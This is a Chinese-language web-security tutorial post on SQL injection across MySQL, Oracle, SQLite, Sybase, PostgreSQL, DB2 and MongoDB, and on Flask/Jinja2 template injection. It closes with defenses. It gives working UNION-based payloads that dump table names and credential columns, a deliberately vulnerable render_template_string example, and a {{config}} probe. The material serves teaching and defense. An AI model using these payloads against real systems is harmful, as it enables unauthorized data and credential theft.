文章总结: 本文深入剖析Web安全中SQL注入与SSTI两大经典漏洞。SQL部分详解注入原理、利用流程及MySQL、Oracle等多种数据库的特定语法与实战技巧;SSTI部分聚焦Flask框架,分析漏洞成因并介绍SSTImap工具应用。文中提出参数化查询、模板渲染安全规范等防御建议,兼具理论深度与实战价值。 综合评分: 87 文章分类: WEB安全,漏洞分析,渗透测试
第53天-WEB安全深入学习:SQL注入与SSTI实战
原创
萧瑶 萧瑶
AlphaNet
2026年2月26日 14:29 江苏
引言
在Web安全领域,SQL注入和模板注入(SSTI)是两种非常经典的漏洞类型。本文将通过两个演示案例,深入剖析SQL注入在不同数据库中的利用技巧,以及Python Flask框架下Jinja2模板的SSTI注入风险。无论你是安全新人还是开发人员,都能从中获得实用的知识与防御思路。
第一部分:SQL注入深度剖析
- 核心知识储备
· 数据库基础概念:库名、表名、列名、数据记录是SQL操作的基本单元。
· 关键元信息:不同数据库都有自带的系统库或系统表(如MySQL的information_schema),存储着数据库的元数据;了解数据库用户及权限对提权至关重要。
· 数据库特有元素:敏感函数(如load_file()、xp_cmdshell)、默认端口(3306、1433、1521等)、数据库查询方法(增删改查)。
- SQL注入产生原理
根本原因:代码中拼接的SQL语句,其某个变量由用户可控且未经过严格过滤,导致攻击者可以改变原SQL语句的逻辑。
- 影响SQL注入的主要因素
因素 说明
数据库类型 不同数据库的语法、系统表、权限函数不同,直接影响注入手法
数据操作方法 增删改查(SELECT/INSERT/UPDATE/DELETE)对应不同的注入点
参数数据类型 数字型、字符型、搜索型等,涉及闭合符号(引号、括号)
参数数据格式 是否经过编码、加密、压缩,影响payload构造
提交数据方式 GET、POST、Cookie、HTTP头等,注入点可能隐藏在任何位置
有无数据处理 回显、报错、盲注(布尔/时间)、无回显等场景需要不同技巧
-
通用利用流程
-
判断数据库类型:通过特有函数、语法报错、端口特征等方式。
-
判断参数类型及格式:确定是数字型还是字符型,是否需要闭合。
-
判断数据格式及提交方式:确认提交方式(GET/POST)和数据格式(URL编码、JSON等)。
-
判断数据回显及防护:观察页面是否直接显示数据,是否有WAF过滤。
-
获取数据库名 → 表名 → 列名 → 数据:逐层深入,最终获取敏感信息(如管理员账号密码)。
-
尝试其他利用:写入文件、执行命令、提权等(取决于数据库权限)。
-
黑盒与白盒发现技巧
· 黑盒测试:对所有可能的参数(GET/POST/Header)进行fuzz,根据功能点(如登录、搜索、排序)脑补SQL语句结构进行测试。
· 白盒审计:直接查看代码中SQL语句的拼接方式,关注用户输入是否经过安全处理。详细内容可参考后续代码审计课程。
- 各数据库类型注入实战
靶场推荐:
· http://vulnweb.com/
· https://mozhe.cn/Special/SQL_Injection
Access
· 已基本淘汰,意义不大,仅作了解。表名、列名需要爆破。
MySQL
-- 判断数据库版本、当前数据库
id=-1 union select 1,database(),3,4
-- 获取所有表名
id=-1 union select 1,group\_concat(table\_name),3,4 from information\_schema.tables where table\_schema='mozhe\_Discuz\_StormGroup'
-- 获取列名
id=-1 union select 1,group\_concat(column\_name),3,4 from information\_schema.columns where table\_name='StormGroup\_member'
-- 获取数据
id=-1 union select 1,2,group\_concat(id,name,password),4 from StormGroup\_member
· 系统库:information_schema
· 常用函数:database()、version()、user()
MSSQL
· 系统表:sysobjects、syscolumns、sys.tables等
· 利用示例(略,参考Mysql思路,注意’+’连接符)
Oracle
-- 获取第一个用户表的所有者
and 1=2 union select (select distinct owner from all\_tables where rownum=1),'2' from dual
-- 获取第一个表名
and 1=2 union select (select table\_name from user\_tables where rownum=1),'2' from dual
-- 获取指定表的列名(绕过已获取的列)
and 1=2 union select (select column\_name from all\_tab\_columns where rownum=1 and table\_name='sns\_users' and column\_name not in ('USER\_NAME')),'2' from dual
-- 获取数据
and 1=2 union select USER\_NAME,USER\_PWD from "sns\_users" where user\_name not in ('hu')
· 关键点:所有查询必须带有from dual,使用rownum限制行数,注意表名和列名的大小写(通常需要双引号)。
SQLite
-- 获取所有表信息(sqlite\_master保存结构)
union select 1,name,sql,4 from sqlite\_master limit 0,1
-- 直接获取数据
union select 1,name,password,4 from WSTMart\_reg
· 系统表:sqlite_master,包含name(表名)、sql(建表语句)。
Sybase
-- 获取当前数据库名
id=-1 union all select null,db\_name(),null,null
-- 获取当前库的所有表名
id=-1 union all select null,name,null,null from mozhe\_Deepthroat.dbo.sysobjects
-- 获取指定表的列名
id=-1 union all select null,name,null,null from mozhe\_Deepthroat..syscolumns where id=object\_id('Deepthroat\_login')
-- 绕过已获取的列
id=-1 union all select null,name,null,null from mozhe\_Deepthroat..syscolumns where id=object\_id('Deepthroat\_login') and name<>'id'
-- 获取数据
id=-1 union all select null,name,password,null from Deepthroat\_login
· 类似MSSQL,系统表位于dbo下。
PostgreSQL
-- 判断注入点(注意数据类型匹配)
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null
-- 获取所有数据库名
and 1=2 union select null,null,string\_agg(datname,','),null from pg\_database
-- 获取public模式下的所有表
and 1=2 union select null,null,string\_agg(tablename,','),null from pg\_tables where schemaname='public'
-- 获取指定表的列名
and 1=2 union select null,null,string\_agg(column\_name,','),null from information\_schema.columns where table\_name='reg\_users'
-- 获取数据
and 1=2 union select null,string\_agg(name,','),string\_agg(password,','),null from reg\_users
· 系统视图:pg_database、pg_tables、information_schema.columns
· 聚合函数:string_agg替代group_concat。
DB2
-- 获取当前模式、服务器信息
id=-1 union select 1,current schema,current server,4 from sysibm.sysdummy1
-- 获取当前模式下的表名
id=-1 union select 1,current schema,tabname,4 from syscat.tables where tabschema=current schema limit 0,1
-- 获取指定表的列名(使用limit偏移)
id=-1 union select 1,colname,tabname,4 from syscat.columns where tabschema=current schema and tabname='GAME\_CHARACTER' limit 1,1
-- 获取数据
id=-1 union select 1,NAME,PASSWORD,4 from GAME\_CHARACTER limit 0,1
· 系统表:syscat.tables、syscat.columns
· 注意limit的使用。
MongoDB(NoSQL注入)
-- 通过闭合JS语句,返回所有集合名
id=1'});return ({title:'1',content:'2'});return ({content:tojson(db.getCollectionNames()),title:'1
-- 查询指定集合的数据
id=1'});return ({content:tojson(db.Authority\_confidential.find()[0]),title:'
· NoSQL注入利用JavaScript语法,通过闭合来执行任意MongoDB操作。
第二部分:Flask框架与Jinja2模板注入(SSTI)
- Flask基础:路由与传参
· 使用@app.route(‘/’)定义路由,支持动态路径/
· 获取参数:
from flask import request
id = request.args.get('id') # GET参数
name = request.form.get('name') # POST参数
- Jinja2模板渲染方式
· render_template:渲染外部HTML文件。
· render_template_string:直接渲染字符串模板(最危险,若字符串中包含用户输入则可能造成SSTI)。
· Template.render:手动创建模板对象并渲染。
- SSTI漏洞成因
当开发者将用户输入直接作为模板字符串的一部分进行渲染时,攻击者可以注入Jinja2模板语法(如{{ 7*7 }}),进而通过模板引擎的内置对象(如config、self、__class__等)获取敏感信息甚至执行代码。
典型示例:
from flask import Flask, request, render\_template\_string
app = Flask(\_\_name\_\_)
@app.route('/')
def hello():
name = request.args.get('name', 'world')
template = '<h1>Hello, {}!</h1>'.format(name) # 直接拼接
return render\_template\_string(template)
攻击者访问/?name={{config}}即可看到Flask配置信息。
- 利用工具:SSTImap
· 项目地址:https://github.com/vladko312/SSTImap
· 自动化检测和利用SSTI漏洞,支持多种模板引擎(Jinja2、Twig、Freemarker等)。
- 实际案例
· CTF赛题:通过SSTI绕过过滤、读取文件、甚至RCE。参考:https://www.cnblogs.com/gaorenyusi/p/18213835
· 代码审计:真实应用中因错误使用render_template_string导致的漏洞。参考:https://mp.weixin.qq.com/s/e9xTNgqIE3Q3R3cNbMUH8A
总结与安全建议
- SQL注入防御:
· 使用参数化查询(PreparedStatement)或ORM框架。
· 严格过滤输入,对数据类型进行强校验。
· 最小化数据库权限,避免使用高权限账户连接。
- SSTI防御:
· 避免直接拼接用户输入到模板字符串中。
· 使用render_template配合静态模板文件。
· 若必须动态渲染,使用Jinja2的沙箱模式或对输入进行严格过滤。
安全是一场攻防博弈,深入理解漏洞原理才能有效防范。希望本文能为你打开一扇窗,在Web安全之路上走得更远。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AlphaNet 萧瑶 萧瑶《第53天-WEB安全深入学习:SQL注入与SSTI实战》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论